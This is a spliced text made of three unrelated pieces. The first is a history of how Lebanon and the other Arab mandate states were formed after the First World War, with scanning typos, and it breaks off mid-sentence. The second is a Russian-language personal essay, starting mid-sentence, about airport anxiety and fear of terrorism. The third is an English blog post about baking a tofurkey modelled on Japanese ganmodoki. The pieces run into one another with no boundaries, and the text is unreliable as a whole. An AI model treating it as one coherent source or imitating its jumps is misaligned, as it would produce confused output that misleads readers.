Read or Share this story: http://usat.ly/2nVVfsTHow it all began - A concise history of Lebanon To create a country is one thing; to create a nationality is another. In the wake of the first world war, which ended with the destruction of the German, Austro-Hungarian, Russian and Ottoman empires, it was possible for the victorious Allies to redraw the political map of much of the world. In Europe, Germany and Austria-Hungary, defeated in the war, re-emerged as the German, Austrian and Hungarian republics. Meanwhile, the Bolshevik revolution was already beginning to transform the Russian empire into the Union of Soviet Socialist Republics. From European territories formerly German, Austro-Hungarian or Russian, new European states emerged. The overseas colonies of Germany, in Africa and elsewhere, were divided between Britain and France as mandates under licence from the newly organized League of Nations. Meanwhile, the Ottoman empire, as a result of its defeat in the war, had virtually ceased to exist. The Turkish heartlands, successfully reclaimed from Allied occupation by the Kemalist revolution, were ultimately reconstituted as the Turkish Republic; but the Arab provinces in historical Mesopotamia and Syria were irretrievably lost, and subsequently divided between Britain and France, again as mandated territory, with the provision that they must be prepared as soon as possible for independence. Here, as in Central and Eastern Europe, new states were formed, but with an important difference. In Europe, where nationalist thinking was already a firmly established tradition, the sense of separate nationality among the former subject peoples of the German, Austro-Hungarian and Russian empires was already in existence, and in most cases such clear and well-defined expectations were to be heeded in the formation of the new states. This was not the case with the Arab subjects of the Ottoman empire, where national consciousness, to the extent that it existed, was blurred and confounded by traditional loyalties of other kinds which were often in conflict with one another. The Allies felt they could ignore such rudimentary and confused national sentiments among the Arabs of their newly mandated territories as they set out to reorganize them into states, redrawing the political map of the Arab world in the manner which they thought suited them best. By the spring of 1920 agreement had been reached between Britain and France at San Remo on how the former Arab territories of the defunct Ottoman empire would be divided between them. The principal considerations taken into account were oil and communications. During the course of the war, the British had gone to considerable trouble to occupy Mesopotamia. The onset of the war had brought home the supreme strategic importance of oil; the British already had command over the vast oil resources of Iran, and they were determined to prevent the Germans, who were major shareholders in the Turkish Petroleum Company, from gaining access to the proven Mesopotamian oil resources of Kirkuk. In 1916, an agreement negotiated between Mark Sykes on behalf of Britain, and Francois Georges-Picot on behalf of France (the so:called Sykes-Picot Agreement), had assigned the Vilayet (Ottoman province) of Mosul, in northern Mesopotamia, to the French, and the vilayets of Baghdad and Basra, in central and southern Mesopotamia, to the British. In Syria, France was to get the Vilayet of Aleppo and the northern parts of the Vilayets of Beirut and Damascus, leaving the southern parts of these two vilayets essentially to Britain, with the understanding that the Holy Land of Palestine would have an international status. During the last months of the war however the British, who already occupied much of Mesopotamia, took occupation of Palestine. Now, at San Remo, the wartime Sykes-Picot Agreement between the two sides was scrapped. By the terms of the new agreement, France gave up her claim to the Vilayet of Mosul in return for a major share in the Turkish Petroleum Company, which had been confiscated by the Allies and reorganized as the Iraq Petroleum Company (IPC). Moreover, the older agreement had specified that France would have direct control over the coastal parts of the Vilayet of Aleppo and its share of the Vilayet of Beirut, but only a sphere of influence in inland Syria where an Arab state or states of independent status would be established. Under the new agreement, the French were to have a free hand in the whole area which they were to hold as a mandate under the League of Nations - a continuous stretch of territory extending from the Euphrates river to the Mediterranean coast. On the other hand, the British, in addition to keeping the whole of Mesopotamia as a mandate, were also to have the mandate over all the southern parts of the vilayets of Damascus and Beirut - a territory which they first called the Palestine east and west of the Jordan; then, more simply, Transjordan and Palestine. In effect, Britain came to control a stretch of north Arabian desert' territory which secured the required contiguity between its Mesopotamian and Palestinian mandates, and an uninterrupted overland route all the way from the borders of Iran to the Mediterranean. Apart from its agreement with France over the partition of the Arab provinces of the Ottoman empire, Britain had made promises during the war to other parties concerning the same area. In central Arabia, there was a standing British alliance with Abdul-Aziz Ibn Saud, the Wahhabi Emir of Riyad who was subsequently to become the founder of the kingdom of Saudi Arabia. Wahhabism was a movement of militant Islamic religious revival which had appeared in central Arabia in the middle decades of the eighteenth century, and the house of Saud had been politically associated with it since that time. In conflict with this British-Saudi alliance was the wartime alliance reached between Britain and Sharif Husayn, the Emir of Mecca, who enjoyed a special Arab and Islamic prestige as a recognized descendant of the Prophet, and whose family were called the Hashemites. In return for leading an Arab revolt against the Ottomans, the Sharif had been promised recognition as the head of an Arab kingdom the exact nature of which was left undefined. The Sharif, however, was led to understand that it would include all of Mesopotamia; all but a negotiable strip of coastal Syria; and the whole of peninsular Arabia, except for the parts which were already established as British protectorates. While the British relations with Ibn Saud were maintained by the British government of India, those with the Sharif were initiated and pursued by the British Arab Bureau in Cairo. Meanwhile, the British Foreign Office, in close touch with the World Zionist Organization, had by 1917 formally committed itself to viewing with favour the establishment of a Jewish National Home in Palestine. Naturally, it was impossible for Britain after the war to honour simultaneously all these conflicting commitments fully. The need to reach a settlement with France over the area was most pressing, and this was taken care of by the San Remo agreement. During the last months of the war, as the British drove the Ottoman forces out of Syria, with the forces of Sharif Husayn's Arab Revolt protecting their right flank, the Sharif's third and most popular son, Faysal, was allowed to enter Damascus and establish an Arab government on behalf of his father in that ancient Arab capital. As the Allies met at San Remo to redraw the map of the Arab world, Sharif Faysal was proclaimed King of Syria, with a view to place Britain and France before an accomplished fact. Once the San Remo agreement had been concluded, however, the French, already in occupation of Beirut, made a show of trying to reach an accommodation with King Faysal; they then crushed his forces at Maysalun, outside Damascus, forcing him to abandon his short-lived Syrian kingdom. To compensate their gallant wartime ally for his loss, the British created another Arab kingdom for him out of the old Ottoman vilayets of Mesopotamia, which now became the kingdom of Iraq. The British wartime commitment to facilitate the establishment of a Jewish National Home in the Palestine west of the Jordan, which again received high priority, was formalized in 1920 and included as a special article in the statutes of the British mandate for Palestine, as registered in the League of Nations. For the Palestine east of the Jordan, or Transjordan, a special administrative arrangement was soon made. In 1916, when Sharif Husayn solemnly declared the start of the Arab Revolt against the Turks in Mecca, he also proclaimed himself king of the Arabs, and the British actually recognized him as king of the Hijaz, which was the furthest they felt they could go at the time. After the war, however, Ibn Saud, with his Wahhabi forces, began to attack the Hijaz, and completed its conquest by putting an end to Sharifian rule there in 1925. In the earlier stages of the Saudi-Sharifian conflict, the Sharifian forces, led by the Sharif's second son Abdallah, suffered a serious defeat in battle. Sharif Abdullah thereupon left the Hijaz in 1921 and arrived in Transjordan, where the British soon recognized him as the sovereign emir. With British military help, Abdullah succeeded in repelling Wahhabi attempts to extend the Saudi domain northwards in the direction of Syria, thereby securing the extension of Transjordan eastwards continuously to the border of Iraq. In the south, Abdullah's Transjordanian emirate extended beyond the borders of the old Ottoman Vilayet of Damascus to reach the Red Sea at the strategic Gulf of Aqaba, and so include the northernmost parts of what had formerly been the Ottoman Vilayet of the Hijaz. In the east, the border of the emirate, in the Jordan valley, set the limits beyond which the projected Jewish National Home in Palestine could not extend. The British at the time knew what they wanted, and they got it: control over the oilfields of Iraq; unimpeded access from there to the Mediterranean; control of the Red Sea and the Persian Gulf (which were the two vital maritime highways leading to the Indian Ocean). To secure their interests, they naturally preferred to deal with parties in the area, or concerned with the area, who also knew what they wanted, and who were willing to make realistic accommodations to achieve their ends. During the war, the British had made a point of encouraging Arab nationalist activity in Syria against the Ottomans; and it was partly through British intermediaries that the Arab nationalists in Syria were put in touch with Sharif Husayn and his sons, which subsequently gave the Sharifian revolt in the Hijaz the extra dimension it needed to gain recognition as a true Arab Revolt. After the war, however, it became clear to the British that the claims of Arab nationalism were most urgently pressed either by romantic dreamers who were unwilling to be taughe that politics was the art of the possible, or by unprincipled schemers who were out to secure personal rather than national interests. In either case, the nationalist claims, it was felt, where they threatened to embarrass British interests, could be discounted at negligible cost. However, there remained Britain's wartime Arab allies to deal with. In the Hijaz, King Husayn was demanding more than the British were prepared to give. He wanted to be recognized as king of all the Arabs; considered himself the rightful claimant of the caliphate of Islam; and was unwilling to recognize the arrangements which the Allies were determined to introduce to the area in accordance with the San Remo agreement. More than that, he was adamant in refusing to recognize the Jewish claims in Palestine, as approved by the British. His two sons, Abdullah and Faysal, took the more realistic view; so did his great rival in Arabia, Ibn Saud. Those were practical men who were willing to give and take, and settle for what was ultimately achievable in given circumstances. In the arrangements which the British made in the parts of the area allotted to them, or where they already wielded dominant influence, all three were readily accommodated. In their own mandated territories, which they called the Levant, the French took the same attitude as the British: they were willing to attend to reasoned and concrete demands by parties who knew what they wanted, but had no patience for the claims and clamours of those who did not. In Mount Lebanon and the adjacent parts of the old Vilayet of Beirut, the Maronites - a Christian communion with a long tradition of union with the Roman Catholic church in Europe - were one party whose demands the French were prepared to listen to. Of all the Arabs, barring only individuals or politically experienced princely dynasties, they appeared to be the only people who knew precisely what they wanted: in their case, as they put it, a 'Greater Lebanon' under their paramount control, separate, distinct and independent from the rest of Syria. Behind them, the Maronites had a rich and eventful past which will be reviewed as a separate story in due course. In 1861, with the help of France, they had already secured a special political status for their historical homeland of Mount Lebanon as a mutesarrifate, or privileged sanjak (administrative region), within the Ottoman system, under an international guaranty. Since the turn of the century, however, the Maronites had pressed for the extension of this small Lebanese territory to what they argued were its natural and historical boundaries: it would then include the coastal towns of Tripoli, Beirut, Sidon and Tyre and their respective hinterlands, which belonged to the Vilayet of Beirut; and the fertile valley of the Bekaa (the four Kazas, or administrtative districts, of Baalbek, the Bekaa, Rashayya and Hasbayya), which belonged to the Vilayet of Damascus. According to the Maronite argument, this 'Greater Lebanon' had always had a special social and historical character, different from that of its surroundings, which made it necessary and indeed imperative for France to help establish it as an independent state. While France had strong sympathies for the Maronites, the French government did not support their demands without reserve. In Mount Lebanon, the Maronites had formed a clear majority of the population. In a 'Greater Lebanon', they were bound to be outnumbered by the Muslims of the coastal towns and their hinterlands, and by those of the Bekaa valley; and all the Christian communities together, in a 'Greater Lebanon', could at best amount to a bare majority. The Maronites, however, were insistent in their demands. Their secular and clerical leaders had pressed for them during the war years among the Allied powers, not excluding the United States. Af'ter the war, the same leaders, headed by the Maronite patriarch Elias Hoyek in person, pursued this course at the Paris Peace Conference; and in the end the French yielded. On 1 September 1920 - barely four months after the conclusion of the San Remo agreement; barely two months af'ter the flight of' King Faysal and his Arab government from Damascus - General Henri Gouraud, from the porch of his official residence as French High Commissioner in Beirut, proclaimed the birth of the State of Greater Lebanon, with Beirut as its capital. The flag of this new Lebanon was to be none other than the French tricolour itself, with a cedar tree - now hailed as the glorious symbol of the ancient country since Biblical times - featuring on the central white. Following the establishment of the State of Greater Lebanon, the French turned to deal with the rest of their mandated territory in the Levant, where they were at a loss what to do. In the case of Lebanon, the Maronites had indicated precisely what they wanted. Elsewhere, no community seemed willing to speak its mind unequivocally, which lef't the French to their own devices. To begin with, in addition to Lebanon, they established four Syrian states: two of them regional, which were the State of Aleppo and the State of Damascus; and two of them ethno-religious, which were the State of the Alouites and the State of Jebel Druze. In response to strong nationalist demands, the states of Aleppo and Damascus were subsequently merged I l to form the State of Syria, later reconstituted as the Syrian Republic, to which Jebel Druze and the Alouite country were ultimately annexed. Meanwhile, on 23 May 1926, the State of Greater Lebanon received a Constitution which transformed it into the Lebanese Republic. Thus the two sister republics came into being, Lebanon and Syria; both under French mandate, sharing the same currency and customs services, but flying different flags, and run by separate native administrations under one French High Commissioner residing in Beirut. Before long, each of the two sister countries had its own national anthem. But are administrative bureaucracies, flags and national anthems sufficient to make a true nation-state out of a given territory and the people who inhabit it? What about the question of nationality? To the Maronites and many other Christians in Lebanon, there were no doubts about the matter. The Lebanese were Lebanese, and the Syrians were Syrians, just as the Iraqis were Iraqi, the Palestinians Palestinian, and the Transjordanians Transjordanian. If the Syrians, Iraqis, Palestinians or Transjordanians preferred to identify themselves as something else, such as Arabs united by one nationality, they were free to do so; but the Lebanese remained Lebanese, regardless of the extent to which the outside world might choose to classify them as Arabs, because their language happened to be Arabic. Theirs, it was claimed, was the heritage of ancient Phoenicia, which antedated the heritage they had come to share with the Arabs by thousands of years. Theirs, it was further claimed, was the broader Mediterranean heritage which they had once shared with Greece and Rome, and which they now shared with Western Europe. They also had a long tradition of proud mountain freedom and independence which was exclusively theirs, none of their neighbours ever having had the historical experience. Unfortunately for the Maronites, however, not everybody in Lebanon thought or felt as they did. There were even many Maronites who dissented and freely expressed their divergent views. After all, who could reasonably deny that Lebanon, as a political entity, was a new country, just as the other Arab countries under French or British mandate were? Certainly, Lebanon was as much a new country as the others, but with an important difference: it had been willed into existence by a community of its own people, albeit one community among others. Moreover, those among its people who had willed it into existence were fully satisfied with what they got, and wanted the country to remain forever exactly as it had been finally constituted, without any territory added or subtracted. The Syrian Republic, it is true, had also been finally put together in response to nationalist demand; in fact, following a nationalist uprising which lasted more than two years (1925-7), provoking a French bombardment of Damascus. In Syria, however, the nationalists were only partly satisfied with what they got, and continued to aspire for much more. They knew what they did not want rather than what they wanted, and what they were opposed to more than what they were in favour of. For a brief term, they had had an Arab kingdom, with its capital in historical Damascus, once the seat of the great Umayyad caliphs and the capital of the first Arab empire. The French had destroyed their kingdom and established statelets on its territory, among them Lebanon. The Maronites, they argued, were perhaps entitled to continue to enjoy the sort of autonomy they had enjoyed since the 1860s in the Ottoman Sanjak of Mount Lebanon, although they had no real reason to feel any different from other Syrians or Arabs. On the other hand, they had no right securing for their Greater Lebanon Syrian territory which had formerly belonged to the vilayets of Beirut or Damascus, and which had never formed part of their claimed historical homeland. >From the Arab nationalist point of view, it was not permissible to accord the French-created Lebanese Republic recognition as a nation-state separate and distinct from Syria. Moreover, from the same point of view, the Syrian Republic itself was not acceptable as the final and immutable achievement of the aspirations of its people. The Syrians, after all, were Arabs, and their territory, historicallv. which had alwavs included Palestine and Transjordan along with Lebanon, was not a national territory on its own, but part of a greater Arab homeland: a homeland whose ancient heartlands were Syria, Iraq and Arabia, but which, since Islam, had also come to include Egypt and the countries of North Africa all the way to the Atlantic. During the war years, the Allies had cheated the Arabs. The British had promised them national independence on their historical homelands, but they had failed to honour their promises. Instead, they had partitioned this Arab territory with the French, and committed themselves to hand over a particularly precious part of it, namely Palestine, to the Jews. To accept all this, or any part of it, would be nothing less than high treason. Equally unacceptable in principle, though admittedly problems of a less pressing nature, were the continuing British control of Egypt; the Italian colonization of Libya; and the French and Spanish imperial presence in the remaining parts of North Africa. This concept of one indivisible Arab national homeland extending all the way from the Indian Ocean to the Atlantic was expressed by the Damascene nationalist and man of letters, Fakhri al-Barudi, in a song which enjoyed wide circulation: The countries of the Arabs are my homelands: >From Damascus to Baghdad; >From Syria to the Yemen, to Egypt, and all the way to Tetuan. Significantly, the Syrian national anthem written by another Damascene nationalist, Khalil Mardam, did not sing the virtues of Syria as a nation-state standing by itself, but as the 'lion's den of Arabism', its glorious historical 'throne', and its sacred'shrine'. By contrast the Lebanese national anthem, written by the Maronite poet Rashid Nakhleh, sang of the old men of Lebanon and the young, in the mountains and the plains, responding to the call of the historical fatherland and rallying around the 'eternal' cedar flag to defend 'Lebanon forever'. Clearly, in the case of the Syrian Republic, the French had put together a state but failed to create a special nationality to go with it. The same, in a way, applied to Lebanon where, contrary to the claims of the national anthem, the concept of a natural and historical Lebanese nationality was meaningful to some people in the country, but not to others. The case was no different in the countries created by the British in their own mandated Arab territories. In Palestine, which was assembled from what was formerly the Sanjak of Jerusalem and the southern parts of the Vilayet of Beirut, the British had deliberately attempted to recreate the Biblical Land of Israel, 'from Dan to Beersheba', where the Jews were to have their national homeland. The immigrant Jews actually called the country Eretz Israel, and looked forward to the day when it would be transformed into a Jewish state. To them, Palestine as a country was meaningful, but only as a prelude to something else: the Zionist concept of a Jewish nationality, reconstituted on what was conceived to be its historical home grounds. To its native Arab population, however, Palestine was no more of a natural country than Lebanon, Syria, Transjordan or Iraq, and might as well have been given another shape or size. Transjordan, formed essentially out of the southern parts of the old Vilayet of Damascus, but with bits of Arabia added, was certainly not a natural country. Apart from a few towns and small clusters of villages scattered along the highlands east of the Jordan valley, and some pastoral areas and grainlands here and there, this Arab emirate consisted mostly of open desert. Even its founder, Emir Abdullah, did not regard it as a real country. To him it was no more than historical Arab territory salvaged for the cause of the Great Arab Revolt, to serve one day as a base for the re-establishment of a Greater Arab Syria. Significantly, Emir Abdullah called his army not the Transjordanian, but the Arab Legion. To the British and others, Abdullah's emirate may have appeared as a recreation of the Biblical territory of Edom and Moab, or of the Roman province of Arabia; but such concepts, certainlv at the time, were meaningless to the Transjordanians and did not readily contribute to a sense of separate historical nationality among them. The British had hoped that Abdullah's younger brother Faysal, who was widely regarded in 1920 as the preeminent Arab national hero, would be a man of sufficient stature to make a real country out of Iraq, made up of the former Ottoman vilayets of Mosul, Baghdad, Basra and Shahrazor. Faysal's territory was declared politically independent almost immediately after its organization as a kingdom. Separated from other Arab countries by desert, and having the potential of enjoying a rich revenue from oil, Iraq could become a country on its own more easily than the others, as it had indeed been in ancient times, in the days of the Assyrians and the Babylonians. Internally, however, the Iraqis, apart from the Christian and Jewish minorities among them, were divided between Sunnites and Shiites, Arabs and Kurds. As King of Iraq, Faysal was surrounded by veterans of the Arab Revolt who had followed him to Baghdad in the flight from Damascus, and he himself never forgot his lost Syrian kingdom. His regime was more Arab nationalist than specifically Iraqi in character, dominated by the Sunnite Arab element and resented by the Shiite Arab element as well as by the Kurds. Much was indeed done under Faysal and his successors to assuage these resentments. Nevertheless, to the extent that it did develop, the sense of special nationality among the people of Iraq remained rudimentary and confused. This was a new beginning in the history of the area: five countries formed out of Arab territory which had formerly been Ottoman, and none of them with a true or unarguable concept of special nationality to go with it. All things considered, all five of these countries were artificial creations established and given their initial organization by foreign imperial powers. Of the five, however, common Arab opinion singled out Lebanon as being an artificial creation of foreign imperialism in a special way. No one denied that the other four countries were equally artificial; the point lay elsewhere. Among the Syrians, Iraqis, Transjordanians and Palestinian Arabs, no one seriously advanced a thesis in support of the national validity of the given country. Among the Lebanese, however, there were those who did, which amounted to a serious aberration, and one which could not be allowed to pass. By refusing to accept the national validity of their given countries as a matter of Arab nationalist principle, the other Arabs, paradoxically, did manage in time to secure an accepted legitimacy for these countries as states. By the ready enthusiasm with which many Lebanese - but not all - accepted the validity of their country and the new nationality that went with it, what was immediately achieved was the exact reverse. The legitimacy of Lebanon alone as a state, for the Arabs in general and also among the Lebanese, remained in full question. By willing not only a separate country but also a separate Lebanese nationality into existence, against the wishes of their neighbours and without the consent of people who were forced to become their compatriots, the Maronites and their overwhelmingly Christian supporters in Lebanon had broken the Arab consensus - more particularly, the Syrian Arab concensus - and they had to pay the price. This price was to be significantly heavier as the Maronites had actively solicited the help of France to achieve their ends; even more so, because they had knowingly exhibited a marked insensitivity to Arab frustrations around them. In October 1918, when French forces landed in Beirut to put an end to the short-lived Arab government of Sharif Faysal there, Maronites and other Christians waving French flags had cheered their arrival at the port, hailing France as the 'tender, loving mother' (Arabic, al-umm al-hanun) who was to be their saviour. Among the Muslims of Beirut, who had watched the arrival of the French with grave apprehension, this was not a matter to be easily forgotten. Between 1918 and 1920, while these same urbane Muslims of Beirut stood sullenly by, or kept to their homes, rough and fierce- looking Maronite mountaineers had descended from their villages to demonstrate in the streets of the city which they already took to be their own, clamouring for an 'independent' Greater Lebanon, and threatening to migrate to Europe in a body if they did not get it. Going beyond their demand of Lebanese 'independence', by which they meant independence from Syria, not from the French mandate, the Maronites at the time had not hesitated to express their continuing hostility to the Arab regime which was still established in Damascus. Before they could attain their Greater Lebanon, France had first to actualize its control over the rest of its Syrian territorial claim, and the Arab regime in Damascus had to be destroyed. At the battle of the Maysalun Pass, in the Anti-Lebanon, the French did crush the forces of King Faysal in July 1920, which finally opened the way for their occupation of Damascus. Maronite volunteers reportedly fought with the French in the battle, and there were open Maronite celebrations of the French victory, or rather of the Arab defeat. This was not to be forgotten in Damascus. The creation of the new Arab state system had hardly been completed by the late 1920s and early 1930s when political inertia and vested interests began to give it a reality. As men of political ambition began to compete for power and position in the different countries, and as each of these countries came to have its own ruling establishment and administrative bureaucracy, the lines of demarcation between them, hardly any of which was a natural or historical frontier, began to harden. Everywhere, circumspect rulers and career politicians who actually worked for the consolidation of the system, as their interests dictated, made a point of denying its immutable validity, and never missed an opportunity to denounce it as an imperialist partition of the single Arab homeland. Palestine in one way, and Lebanon in another, stood out as exceptions. In Palestine, Arabs who aspired for leadership could only make their mark by yielding to popular nationalist pressure, because of the Jewish threat. This forced them to obstruct repeated attempts by the British mandatory authorities to provide the country with a political government, because in any such government the Jews, with the international influence they wielded, were bound to be greatly over- represented. Thus, the politically ambitious among the Palestinian Arabs had to compete for the leadership of the nationalist opposition, not for power and position in an actual ruling establishment. In Lebanon, while the Christian political establishment dominated by the Maronites was fully determined to make a success of the state, there was a Muslim opposition which was equally determined to make of it a failure. Here the Christian ruling establishment, secure with the backing of France, spoke its mind freely and acted accordingly, while the opposition, with the moral backing of the prevailing nationalist sentiment in Syria and other Arab countries, did the same. It was not only the Christian political establishment, but also France who wanted to make of Lebanon a success; and France was fully alert to the country's fundamental problem: unless the Christians managed to sell the idea of Lebanon to their Muslim compatriots, Lebanon as a state could not gain the required minimum of legitimacy it needed, politically, to be truly viable. France, as the historical friend of the Maronites, was willing to do for them and their fellow Christians all it could do. It had already established for them the Greater Lebanon they wanted, to some extent against its better judgement. It now helped them to organize their state, and for the time being provided it with the needed power protection. More than that France could only give advice, because one day they would be on their own: the advice was given, and even pressed. Maronite leaders who accepted it, and began to show prudence in speech and action, were given all the necessary backing to reach office. Those who did not accept the advice received no support; and when they happened to be in office, they were left in political isolation, and their wiser opponents were helped to bring them down. Originally, the Maronites had wanted Lebanon, politically, for themselves. When the country received its Constitution and became a parliamentary republic, the French saw to it that a Greek Orthodox Christian rather than a Maronite became its first president, with a Sunnite Muslim as a speaker of its parliament; but the Maronites nevertheless managed to secure for themselves all other key positions in the government and the administration, and ultimately the presidency of the republic as well. What made this possible, at the initial stages, was the effective boycott of the state by all but a handful of the Sunnite Muslims, who were the only community in the country who could have stopped the Maronites from achieving their virtual monopoly of power at the time. Stage by stage, however, the French saw to it that the effectiveness of this Muslim boycott of the state was eroded, and pressed |
, а наша безопасность — иллюзия
Недавно я впервые испытала чувство, которое, как выяснилось, многие окружающие меня люди испытывают регулярно. Случилось вот что: незнакомая девушка в аэропорту попросила мою соседку в очереди на регистрацию присмотреть за ее чемоданом, девушке было нехорошо и требовалось сбегать за водой. Не было хозяйки багажа минут десять, но, к моему глубокому изумлению, к моменту ее возвращения я успела пережить многое: первые робкие неприятные мысли о возможном содержимом чемодана незнакомки (а вдруг взрывчатка?), сильную тревогу от воспоминаний о сотнях терактов в аэропортах (непосредственным участником и свидетелем которых я не была), угрызения совести за дурномыслие, неприятные ощущения в связи с идеей, что мой долг — обратиться к службе безопасности аэропорта, начало классической паники. Тут как раз ни в чем не повинная девушка вернулась и воссоединилась со своим чемоданом. А угрызения совести продолжили свое победное шествие по мне. Потрясенная новизной переживаний, я написала о моем маленьком эмоциональном приключении пост в Facebook. Комментарии к нему поразили меня еще больше самого повода. Как оказалось, сотни моих друзей давно и регулярно испытывают точно такие же чувства — в диапазоне от стойкой тревожности до панических атак. Одни пьют успокоительные перед полетом, другие не садятся в поезд метро с пассажирами, кажущимися им подозрительными (чаще всего речь идет о внешних признаках этнической или религиозной принадлежности). Иные всегда и сразу проявляют сверхбдительность и чуть что обращаются к компетентным органам, другие предпочитают избегание, стараясь минимизировать, например, путешествия. Все это оказалось для меня неожиданностью.
Стыдно, говорили мне, Таня, не перебдеть, а недобдеть, стыдно, обжегшись на молоке, не дуть на воду
Еще большей неожиданностью стало то, что многие комментаторы не без раздражения объясняли мне, что только дураки в случаях, когда бдительность проявлена и оказалась напрасной, испытывают угрызения совести и стыд. Стыдно не подозревать кого угодно, буквально любого, в намерении взорвать аэропорт (аэропорты взрывают), а стыдно не довести свои подозрения до сведения специально обученных людей, — выговаривали мне. Стыдно, говорили мне, Таня, не перебдеть, а недобдеть, стыдно, обжегшись на молоке, не дуть на воду. Стыдно стыдиться своего страха, который всегда (всегда, — подчеркивали многие комментаторы) обоснован: «Разве ты не видела, как именно был совершен такой-то теракт? А такой-то?» В общем и целом мне выразили снисходительное сочувствие, но строго указали на незрелость моей реакции (неловкость за себя) и несоответствие новой реальности: «Забудь глупости, детка, пора подрасти, теперь здесь так, да». Надо заметить, что самые свысока похлопывающие по плечу комментарии принадлежали моим друзьям, которые либо живут в Израиле, либо тесно с ним связаны. Что не удивительно: Израиль, в сущности, целая страна с ПТСР (посттравматическое стрессовое расстройство — ТД), поскольку ужас террора там реален и ежедневен. Первое, чему учат прибывшего туда гостя, — распознавать крик «подозрительный предмет» на иврите. Израильские друзья объясняли мне в комментариях к моему посту-жалобе, что я просто, наконец, встала на путь исправления, что так и только так мы многое сможем предупредить и предотвратить. На месте взрыва жилого дома на улице Гурьянова Фото: Владимир Машатин/ТАСС На месте взрыва жилого дома на улице Гурьянова Я, что называется, много думал. В частности потому, что, например, в моей интернациональной семье мы, обсудив давно и неоднократно и вместе с детьми, реалии нового мира, постановили для себя, что попросту не станем их учитывать. Не будем принимать в расчет, например, вероятность террористического акта на одном из наших многочисленных типичных маршрутов жизни, не будем строить свои планы, исходя из статистики катастроф и происшествий, не будем думать о дурном, сберегая энергию. Потому что иначе мы только о нем и будем думать, и в головах у нас начнет функционировать целое подразделение антитеррористической разведки, но любительское; ужас, между тем, неизбежен, но рандомен, сколько ни изобретай систему игры в рулетку, казино все равно всегда будет в выигрыше, в автокатастрофах гибнут люди каждую секунду as we speak, игра в разведку не стоит свеч, что называется. Приняв эту фаталистическую презумпцию (психологи назвали бы этот наш ход вытеснением), мы успокоились. Однако ужас в Шереметьеве все равно внезапно настиг меня, совершенно против моей воли. И это меня, признаться, огорчило, даже очень.
люди, наблюдающие за развитием катастрофы на расстоянии (например, по телевизору), часто испытывают стресс гораздо больший, чем непосредственные участники
Я пошла и еще подчитала литературы. В частности, про наведенное ПТСР, про то, что, согласно многим исследованиям, люди, наблюдающие за развитием катастрофы на расстоянии (например, по телевизору), часто испытывают стресс гораздо больший, чем непосредственные участники. Про ретравматизацию, про зеркальные нейроны, про лечение ПТСР и прочее. Мне стало полегче, рационализация — один из самых испытанных механизмов психологической защиты, мне точно подходит. Но в целом, признаюсь, все мои защитные механизмы существенно ослабли и иногда не справляются со своей важнейшей задачей. А именно — обеспечить мне достаточный уровень безмятежности. Которая, в свою очередь, является для меня хоть и недостаточным, но необходимым условием счастья. Думаю, не только для меня. Татьяна Малкина Фото: Владимир Трефилов/РИА Новости Татьяна Малкина У меня профессиональная деформация: я — тяжелый, запойный информационный алкоголик, news junkie. Я справляюсь с этим недугом, как умею, с переменным успехом. Давно уже ясно — присущее мне пристальное и страстное отслеживание новостей, в частности, не имеющих ко мне даже опосредованного отношения, является лишь моим личным способом обеспечить символический контроль над действительностью. Знаю-понимаю-не боюсь, предупрежден-вооружен, в курсе-не застигнет врасплох. Смешно, но в какой-то мере работает. Тревожность — часть моей натуры, побороть и искоренить ее невозможно, усыпить, отвлечь и заговорить зубы иногда получается, и то хлеб. В истории с чемоданом меня страшно расстроило, что дал сбой механизм защиты, изобретенный мною еще в детстве. Потомственный еврей-атеист, ребенком я придумала себе что-то вроде религии (лишний раз подтверждая, что таковая нужна всем — и всякому потребно хоть немного опиума, чтобы выжить): презумпция невиновности. До сих пор это квазирелигиозное (в моем случае) убеждение в тотальной невиновности или, как минимум, в благости помыслов любого живущего худо-бедно работало, позволяя мне избегать мыслей о скверне всего. Нет, не надо вменять мне гитлера-сталина, есть доказанные преступления. Моя религия была придумана для моего малого мира и верна для обычных нормальных людей, для родственников, друзей, коллег, соседей, соотечественников и проч. Но жизнь все чаще испытывает мою скорлупку на прочность и устойчивость. Жильцы дома на улице Гурьянова в Москве, где в ночь с 8 на 9 сентября произошел взрыв Фото: Николай Малышев/ТАСС Жильцы дома на улице Гурьянова в Москве, где в ночь с 8 на 9 сентября произошел взрыв 1 сентября в Беслане — мой кошмар. Ибо мне почти невыносимо жить с мыслью о том, что жертв можно было избежать, если просто захотеть (и, нет, я не уверена, что всякую школьную линейку в стране нынче имеет смысл начинать с минуты памяти о бесланских детях, во всяком случае, мне — точно не нужно). Я не могу думать о взрывах в московских домах в терминах теории заговоров, не могу читать о мешках с сахаром, ибо предположение о циничном убийстве разрушает меня физически. Я заболела от истории со школой № 57, ибо категорически не могу внутренне присоединиться ни к «ату его», ни к «а что такого?» При этом я не могу притвориться, что всего этого не было, или что все это не имеет значения. Я не могу усомниться в сверхценной презумпции, что всегда надо быть на стороне жертвы. И одновременно отказываюсь признавать нормой привычку подозревать в худшем любой чемодан, любого человека с характерной бородой и в просторных одеждах, любого президента или начальника службы безопасности, любого учителя или любого ученика. У меня кризис — столкновение равновеликих презумпций. Очень больно. О безмятежности и речи нет.
У меня кризис —столкновение равновеликих презумпций. Очень больноI was initially at a lost for what to do about making the tofurkey (a.k.a., tofurky). It’s a western mock meat but I wanted an Asian take. After a couple days of letting things simmer on my mental back burner, I woke up one day thinking about ganmodoki – an iconic Japanese fried tofu fritter that was initially made around the 1400s to fake goose for Buddhist monks.
With that in mind, I made a mixture of mashed tofu and seasoned it simply like I would roast turkey or chicken. A little binder of egg and cornstarch held the mixture together. When done, it felt like moldable very soft clay. (If you’re looking for an actual ganmodoki recipe, check page 154 of Asian Tofu; on the facing page is a photo of the ganmodoki I ate in Kyoto, a tofu hotspot that developed primarily because of the many monasteries in the surrounding area.)
How to mold tofurkey? Early in this tofurkey project, I’d looked into buying turkey cake molds to really fake it, like a good Chinese mock meat. The molds looked large and frankly were too big for me to commit to. What I was really going after was a tofurkey that had a nice brown crust, pretty much like a roast turkey would have. Forgoing the Chinese pursuit of visually faking things, I remained true to the Japanese ganmodoki concept of making the tofurkey taste good with impressions of the real deal.
Disposable mini-loaf pans were my solution; they are just the right size to easily manipulate. Many tofurkey recipes are baked in a loaf or round cake pan, but my tofu mixture seemed like it would hold its shape unmolded. Ganmodoki is typically deep-fried so for my tofurkey, I baked the loaf at high heat, initially with loaf pan in place to sort of steam the tofu mixture.
Then I uncovered the tofurkey and glazed it with an oil-and-soy mixture. The loaf sizzled and browned but wasn’t enough for me. To give it a crusty finish, I broiled the tofurkey.
